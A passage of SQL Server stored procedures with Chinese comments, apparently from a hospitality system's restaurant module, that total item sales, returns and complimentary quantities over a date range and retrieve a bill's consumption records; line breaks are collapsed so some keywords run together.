thenxfxm_hjelse(xfxm_hj - xfxm_thje)endendelse(xfxm_hj - xfxm_thje)--实销金额end as 'xfxm_xsje'--,/* when (xfxm_sum - xfxm_thsum) is NULL then (xfxm_sum - xfxm_thsum) else (xfxm_sum - xfxm_thsum)end as 'xfxm_xs', --实销数量casewhen (xfxm_hj - xfxm_thje) is NUll then (xfxm_hj - xfxm_thje)else (xfxm_hj - xfxm_thje) --实销金额case --按不同提成方式计算when a.c_flag_tcfs='0001' then --0001按数量提金额casewhen ((b.xfxm_sum - e.xfxm_thsum)/a.dec_sl)*a.dec_tcl is NULL then 0else ((b.xfxm_sum - e.xfxm_thsum)/a.dec_sl)*a.dec_tclendwhen a.c_flag_tcfs='0002' then --0002按数量提百分比casewhen ((b.xfxm_hj - e.xfxm_thje))*(((b.xfxm_sum - e.xfxm_thsum)/a.dec_sl)*a.dec_tcl) is NULL then 0else ((b.xfxm_hj - e.xfxm_thje))*(((b.xfxm_sum - e.xfxm_thsum)/a.dec_sl)*a.dec_tcl)endwhen a.c_flag_tcfs='0003' then --0003按金额提金额casewhen ((b.xfxm_hj - e.xfxm_thje)/a.dec_sl)*a.dec_tcl is NULL then 0else ((b.xfxm_hj - e.xfxm_thje)/a.dec_sl)*a.dec_tclendend as 'xftc_je'*/from (select c_fwy,C_code_xm,c_flag_tcfs,dec_sl,dec_tcl From T_pub_xmtcszwhere c_mod in (select c_code from T_sys_mod where Mod_group='餐饮模块') and (c_stop='0')group by c_fwy,c_code_xm,c_flag_tcfs,dec_sl,dec_tcl) aleft join (select c_code,c_kind,c_uint from T_pub_dia_xfxm) gon (a.c_code_xm=g.c_code)--with (nolock)left join (select C_fwy,C_code_xfxm , sum(dec_sum)as 'xfxm_sum',sum(dec_je)as 'xfxm_hj'from T_cy_xfmxwhere c_code in (select C_codeFrom T_cy_xfmainwhere (dt_jzsj between @KS and @JZ)and (c_flag_jz='1') --'结账')group by C_fwy,C_code_xfxm) bon (a.C_fwy=b.C_fwy) and (a.C_code_xm=b.c_code_xfxm)left join (select c_fwy,C_code_xfxm ,sum(dec_sum)as 'xfxm_thsum',sum(dec_je) as 'xfxm_thje'from T_cy_xfmxwhere c_code in (select C_codeFrom T_cy_xfmainwhere (dt_jzsj between @KS and @JZ)and (c_flag_jz='1') --'结账')and (c_flag_zs='2') --退还group by c_fwy,C_code_xfxm) eon (a.c_code_xm=e.c_code_xfxm) and (a.c_fwy=e.c_fwy)left join (select c_fwy,C_code_xfxm ,sum(dec_sum) as 'xfxm_zssum',sum(dec_je) as 'xfxm_zsje'from T_cy_xfmxwhere c_code in (select C_codeFrom T_cy_xfmainwhere (dt_jzsj between @KS and @JZ)and (c_flag_jz='1') --'结账')and c_flag_zs='1' --怎送group by c_fwy,C_code_xfxm) fon (a.c_code_xm=F.c_code_xfxm) and (a.c_fwy=f.C_fwy)order by a.c_fwy,a.c_code_xmendGOCREATE procedure Find_cy_xfxm_sum--统计餐饮消费项目(@ks DateTime, @jz DateTime)asbeginselect a.C_code,a.C_name,b.C_name as 'C_kind_name',c.C_name as 'C_unit_name',casewhen d.xfxm_sum is NULL then 0else d.xfxm_sum --销售数量end as 'xfxm_sum',casewhen e.xfxm_thsum is NULL then 0else e.xfxm_thsum --退还数量end as 'xfxm_thsum',casewhen f.xfxm_zssum is NULL then 0else f.xfxm_zssum --赠送数量end as 'xfxm_zssum',casewhen (xfxm_sum - xfxm_thsum) is NULL then 0else (xfxm_sum - xfxm_thsum)end as 'xfxm_xs' --实销数量from T_pub_dia_xfxm awith (nolock)--大家在写查询时,为了性能,往往会在表后面加一个nolock,或者是with(nolock),其目的就是查询是不锁定表,从而达到提高查询速度的目的left join (select C_code,C_namefrom T_pub_dia_kindwhere C_kind in (select C_codefrom T_sys_diawhere C_name='餐饮消费项目')) bon a.C_Kind=b.C_codeleft join (select C_code,C_namefrom T_pub_diawhere C_kind in (select C_codefrom T_sys_diawhere C_name='单位信息定义')) con a.c_uint=c.C_codeleft join (select C_code_xfxm ,sum(dec_sum) as 'xfxm_sum'from T_cy_xfmxwhere c_code in (select C_codeFrom T_cy_xfmainwhere (dt_jzsj between @KS and @JZ)and (c_flag_jz='1') --'结账')group by C_code_xfxm) don a.c_code=d.c_code_xfxmleft join (select C_code_xfxm ,sum(dec_sum) as 'xfxm_thsum'from T_cy_xfmxwhere c_code in (select C_codeFrom T_cy_xfmainwhere (dt_jzsj between @KS and @JZ)and (c_flag_jz='1') --'结账')and (c_flag_zs='2') --退还group by C_code_xfxm) eon a.c_code=e.c_code_xfxmleft join (select C_code_xfxm ,sum(dec_sum) as 'xfxm_zssum'from T_cy_xfmxwhere c_code in (select C_codeFrom T_cy_xfmainwhere (dt_jzsj between @KS and @JZ)and (c_flag_jz='1') --'结账')and c_flag_zs='1' --怎送group by C_code_xfxm) fon a.c_code=F.c_code_xfxmwhere a.C_mod in (select c_code from T_sys_mod where Mod_group='餐饮模块') end;GOCREATE procedure Find_cy_xfxx( @C_code varchar(30),@C_flage varchar(10), --采用哪一种查询条件0只查询子菜单,1查全部,2查房间下的消费@C_room Varchar(30))asbegin--提取餐饮系统中对应单据下的消费信息if @C_flage='0'beginselect a.dec_id,a.C_code,a.C_code_room,a.C_code_xfxm,b.C_name,a.C_unit,a.Dec_sum,a.Dec_cbj, a.Dec_dj, a.Dec_je, a.Dec_zkl,a.C_flag_zs, a.C_flag_jz, a.Dt_jzsj,a.Dt_xfsj, a.Dt_xfjzsj, a.C_jsfs,a.C_fwy, a.C_flag_zz,a.C_mod_old,a.C_code_old, a.C_mod_mb,a.C_code_mb, a.C_flag_dayfrom T_cy_xfmx a join T_pub_dia_xfxm bWITH (NOLOCK)on a.C_code_xfxm=b.C_codewhere a.C_code=@C_codeand b.C_mod in (select C_code from T_sys_mod where Mod_group='餐饮模块')endelseif @C_flage='1'beginselect a.dec_id,a.C_code,a.C_code_room,a.C_code_xfxm,b.C_name,a.C_unit,a.Dec_sum,a.Dec_cbj, a.Dec_dj, a.Dec_je, a.Dec_zkl,a.C_flag_zs, a.C_flag_jz, a.Dt_jzsj,a.Dt_xfsj, a.Dt_xfjzsj, a.C_jsfs,a.C_fwy, a.C_flag_zz,a.C_mod_old,a.C_code_old, a.C_mod_mb,a.C_code_mb, a.C_flag_dayfrom T_cy_xfmx a join T_pub_dia_xfxm bWITH (NOLOCK)on a.C_code_xfxm=b.C_codewhere a.C_code in (select C_codefrom T_cy_xfmainwhere Dec_parent in (Select Dec_id from T_cy_xfmain where I_layer='0' and C_code=@C_code))and b.C_mod in (select C_code from T_sys_mod where Mod_group='餐饮模块')endif @C_flage='2'beginselect a.dec_id,a.C_code,a.C_code_room,a.C_code_xfxm,b.C_name,a.C_unit,a.Dec_sum,a.Dec_cbj, a.Dec_dj, a.Dec_je, a.Dec_zkl,a.C_flag_zs, a.C_flag_jz, a.Dt_jzsj,a.Dt_xfsj, a.Dt_xfjzsj, a.C_jsfs,a.C_fwy, a.C_flag_zz,a.C_mod_old,a.C_code_old, a.C_mod_mb,a.C_code_mb, a.C_flag_dayfrom T_cy_xfmx a join T_pub_dia_xfxm bWITH (NOLOCK)on a.C_code_xfxm=b.C_codewhere a.C_code in (select C_codefrom T_cy_xfmainwhere Dec_parent in (Select Dec_id from T_cy_xfmain where I_layer='0' and C_code=@C_code)and C_room_sp_code=@C_room)and b.C_mod in (select C_code from T_sys_mod where Mod_group='餐饮模块')endendGOcreate procedure Find_cy_xfxx_Sum(@state varchar(30),@ctcode varchar(30),@ks Datetime,@jz Datetime)asbeginif @state='select'beginselect a.C_code_xfxm,b.C_name,b.C_kind,a.C_unit,SUM(a.Dec_sum)as'数量',SUM(a.Dec_cbj*a.Dec_sum)as'成本合计',SUM(a.Dec_je/a.Dec_sum)as'平均售价',SUM(a.Dec_je)as'合计金额',--a.Dec_dj,a.C_flag_zs as'赠送'from T_cy_xfmx a join T_pub_dia_xfxm bWITH (NOLOCK)on a.C_code_xfxm=b.C_codewhere a.C_code in (select C_code from T_cy_xfmainwhere I_layer='1' and Dec_parent in (select Dec_id from T_cy_xfmainwhere I_layer='0'and C_code in (select C_code_z from T_cy_ftxx_sywhere C_ctcode=@ctcode and Dt_tfsj between @KS and @JZ)))and b.C_mod in (select C_code from T_sys_mod where Mod_group='餐饮模块')group by a.C_flag_zs,a.C_code_xfxm,b.C_kind,b.C_name,a.C_unitendelsebeginselect a.C_code_xfxm,b.C_name,b.C_kind,a.C_unit,SUM(a.Dec_sum)as'数量',SUM(a.Dec_cbj*a.Dec_sum)as'成本合计',SUM(a.Dec_je/a.Dec_sum)as'平均售价',SUM(a.Dec_je)as'合计金额',--a.Dec_dj,a.C_flag_zs as'赠送'from T_cy_xfmx a join T_pub_dia_xfxm bWITH (NOLOCK)on a.C_code_xfxm=b.C_codewhere a.C_code in (select C_code from T_cy_xfmainwhere I_layer='1' and Dec_parent in (select Dec_id from T_cy_xfmainwhere I_layer='0'and C_code in (select C_code_z from T_cy_ftxx_sywhere Dt_tfsj between @KS and @JZ)))and b.C_mod in (select C_code from T_sys_mod where Mod_group='餐饮模块')group by a.C_flag_zs,a.C_code_xfxm,b.C_kind,b.C_name,a.C_unitend;end;GOcreate procedure Find_cy_xfxx_xg(@c_Code varchar(30))asbegin --查询修改单据消费信息select a.*,b.C_namefrom T_pub_xgdetail a join T_pub_dia_xfxm bWITH (NOLOCK)on a.C_code_xfxm=b.C_codewhere a.C_code=@C_codeand b.C_mod in (select C_code from T_sys_mod where Mod_group='餐饮模块')end;GO。